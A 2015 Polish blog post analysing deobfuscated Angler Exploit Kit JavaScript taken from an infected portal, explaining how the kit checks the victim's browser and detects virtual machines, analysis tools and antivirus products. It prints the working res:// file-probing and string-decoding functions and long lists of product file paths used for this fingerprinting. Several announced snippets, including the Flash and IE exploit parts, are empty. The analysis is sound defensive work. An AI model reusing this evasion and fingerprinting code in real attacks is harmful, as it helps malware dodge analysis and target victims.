sobota, 3 października 2015

Weryfikacja infekowanej stacji roboczej za pomocą języka javascript

Angler Exploit kit jest obecnie jednym z najczęściej wykorzystywanym narzędziem do infekcji komputerów za pomocą techniki drive by download. Język skryptowy javascript wykorzystywany podczas infekcji odpowiada między innymi za weryfikację środowiska w którym mają być uruchomione podatności.
Poniżej przedstawiamy kilka technik stosowanych przez to narzędzie. Jest to kod javascript uzyskany po deobfuskacji zawartości zainfekowanej strony www jednego z polskich portali. Techniki te są zaimplementowane w dwóch funkcjach:

xTrueV() związana jest z wykrywaniem środowisk wirtualnych oraz narzędzi do analizy.
xTrueA() ma za zadanie zweryfikować jakie systemy antywirusowe zainstalowane są na infekowanym komputerze.

  • Weryfikacja przeglądarki internetowej
 if (navigator.userAgent.indexOf('MSIE') == -1 && navigator.appVersion.indexOf('Trident/') == -1) {
        return;
  }

Już podczas pierwszego odwiedzenia przez użytkownika strony ze złośliwym skryptem weryfikowana jest platforma oraz typ przeglądarki. W zależności do tego użytkownik otrzymuje dalsze skrypty zawierające podatności bądź jest przekierowany na stronę bez malware.
  • Następny fragment wykrywa skrypty dynamiczne wykorzystywane przez funkcje narzędzia deweloperskie w Internet Explorer.

Oto zawartość jednego ze skryptów (narzędzie deweloperskich) przeglądarki IE:

  • Kolejne sprawdzenie dotyczy następujących bibliotek (ActiveX) firmy Kaspersky:
  1. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi
  2. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1
  3. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.4_5_0.1
Poniżej fragment kodu:


  • Ostatnia technika polega na weryfikacji czy określony plik znajduje się na lokalnym dysku. Jest to realizowane za pomocą protokołu res:// i funkcji Image().
Poniżej fragment kodu:


Zawartość wykorzystywanych funkcji (odkodowywanie i modyfikacja struktury strony w DOM):

function xTrue(s, r) {
    var x = new Image();
    x.onload = r;
    x.src = xText(s); //funkcja buduje ścieżkę do pliku (np. "res://C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamext.dll/#/202"
    document.body.appendChild(x);
    return 0;
}

function xText(line) {
    var result = ""
      , array = line.match(/(..)/g);
    for (var i = 0; i < array.length; i++) {
        result += String.fromCharCode(parseInt(array[i], 32) / 2);
    }
    return result;
}

Lista plików wykorzystywanych przez xTrueV():

res://C:\Program Files (x86)\Fiddler2\Fiddler.exe/#3/#32512
res://C:\Program Files\Fiddler2\Fiddler.exe/#3/#32512
res://C:\Program Files (x86)\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567
res://C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567
res://C:\Program Files (x86)\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996
res://C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996
res://C:\Program Files (x86)\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110
res://C:\Program Files\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110
res://C:\Program Files (x86)\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204
res://C:\Program Files\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204

Lista plików wykorzystywanych przez xTrueA():

res://C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamext.dll/#2/202
res://C:\Program Files\Malwarebytes Anti-Malware\mbamext.dll/#2/202
res://C:\Program Files (x86)\Malwarebytes Anti-Malware\unins000.exe/#2/DISKIMAGE
res://C:\Program Files\Malwarebytes Anti-Malware\unins000.exe/#2/DISKIMAGE
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\mbae.exe/#2/200
res://C:\Program Files\Malwarebytes Anti-Exploit\mbae.exe/#2/200
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\mbae.exe/#2/201
res://C:\Program Files\Malwarebytes Anti-Exploit\mbae.exe/#2/201
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\unins000.exe/#2/DISKIMAGE
res://C:\Program Files\Malwarebytes Anti-Exploit\unins000.exe/#2/DISKIMAGE
res://C:\Program Files (x86)\Trend Micro\Titanium\TmConfig.dll/#2/#30994
res://C:\Program Files\Trend Micro\Titanium\TmConfig.dll/#2/#30994
res://C:\Program Files (x86)\Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994
res://C:\Program Files\Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky CRYSTAL 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky CRYSTAL 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567

Javascript używany jest też do odszyfrowania innych elementów jak na przykład nazwa hosta czy parametry GET strony, która zawiera kolejne komponenty wykorzystywane w procesie infekcji (np. adres z obiektem Flash wykorzystującym podatność).
Poniżej przykład (na początku funkcji są dane wejściowe, na dole zwracany odkodowany adres serwera):



Szablon związany z podatnością we Flash:


Poniżej gotowy obiekt dla podatności Flash oraz fragment funkcji przygotowującej inny exploit dla przeglądarki Internet Explorer: